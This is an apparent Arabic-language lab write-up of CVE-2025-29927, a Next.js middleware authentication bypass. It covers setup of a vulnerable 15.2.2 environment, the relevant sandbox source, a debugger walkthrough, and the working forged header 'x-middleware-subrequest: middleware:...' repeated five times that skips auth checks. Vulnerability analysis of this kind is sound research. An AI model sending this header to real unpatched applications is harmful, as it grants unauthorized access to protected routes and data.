
تجاوز المصادقة في Next.js Middleware
تجاوز آلية مصادقة الوسيطة (Middleware) في Next.js عبر تزوير رأس الطلب x-middleware-subrequest، مما يسمح بوصول غير مصرح به إلى المسارات المحمية.
مصدر المشروع مأخوذ من P神، إصدار Next.js هو 15.2.2 (بالنسبة لـ Next.js 15.x، تم إصلاح هذه المشكلة في 15.2.3).
تأكد من تثبيت Node و npm. تحقق من الإصدار باستخدام الأوامر التالية:
node -v
npm -v
تثبيت التبعيات وتشغيل المشروع
# 1. 进入项目目录
cd vulenv
# 2. 全局安装 Yarn(如果尚未安装)
npm install -g yarn
# 3. 安装项目依赖
yarn install
# 4. 启动开发服务器
npm run dev
أو دفعة واحدة:
cd vulenv && npm install -g yarn && yarn install && npm run dev
النجاح كما يلي:


قم بإعداد تصحيح أخطاء VScode كما يلي:
{
"version": "0.2.0",
"configurations": [
{
"name": "Next.js: debug server-side",
"type": "node-terminal",
"request": "launch",
"command": "npm run dev"
},
{
"name": "Next.js: debug client-side",
"type": "chrome",
"request": "launch",
"url": "http://localhost:3000"
},
{
"name": "Next.js: debug full stack",
"type": "node-terminal",
"request": "launch",
"command": "npm run dev",
"serverReadyAction": {
"pattern": "- Local:.+(https?://.+)",
"uriFormat": "%s",
"action": "debugWithChrome"
}
}
]
}
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
var _params_request_body;
const runtime = await getRuntimeContext(params);
const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: {
'x-middleware-next': '1'
}
})
};
}
......
دالة وسيطة (middleware) تهدف إلى اكتشاف عمق الاستدعاءات التكرارية لتجنب الحلقات اللانهائية. تعتمد آليتها على رأس الطلب x-middleware-subrequest، حيث يتم تقسيمه باستخدام النقطتين الرأسيتين : إلى عدة أسماء طلبات فرعية، وحساب عدد مرات التطابق مع اسم الوسيطة الحالي params.name (أي عمق التكرار). عندما يصل عمق التكرار إلى الحد المحدد أو يتجاوزه (الافتراضي MAX_RECURSION_DEPTH = 5)، تتخطى الوسيطة المنطق الأساسي مثل التحقق من الهوية وتستمر في معالجة الطلب.
نصائح: تجنب الاستدعاءات التكرارية اللانهائية، والمعنى التقريبي كما يلي:
用户访问 /dashboard
↓
middleware 拦截,请求 /api/auth
↓
/api/auth 再次触发 middleware
↓
middleware 又请求 /api/auth
↓
...
死循环!🌀
اسم الوسيطة هو middleware، ويمكن إنشاء رأس الطلب التالي:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
البنية المذكورة أعلاه تجعل قيمة depth = 5، مما يؤدي مباشرة إلى:
if (depth >= MAX_RECURSION_DEPTH)
إذا كان التطبيق يضع منطق التحقق من الهوية في الوسيطة، فإن ذلك يتسبب في خروج الوسيطة من منطق المصادقة وتُرجع:
x-middleware-next: 1
مما يسمح للطلب بالاستمرار إلى الواجهة الخلفية والحصول على الموارد المحمية دون مصادقة.
ضع نقطة توقف عند الموقع في الصورة أدناه (المسار التفصيلي: CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js) ثم ابدأ التصحيح.

أرسل الحمولة (Payload)

توقف عند النقطة الموضحة في الصورة أدناه، ويمكن ملاحظة أن قيمة depth هي 5

استمر في التنفيذ، وستتمكن من الوصول إلى الموارد المحمية.

تم تطويره باستخدام Pocsuite3، للتفاصيل انظر Poc_CVE-2025-29927.py.

Next.js and the corrupt middleware: the authorizing artifact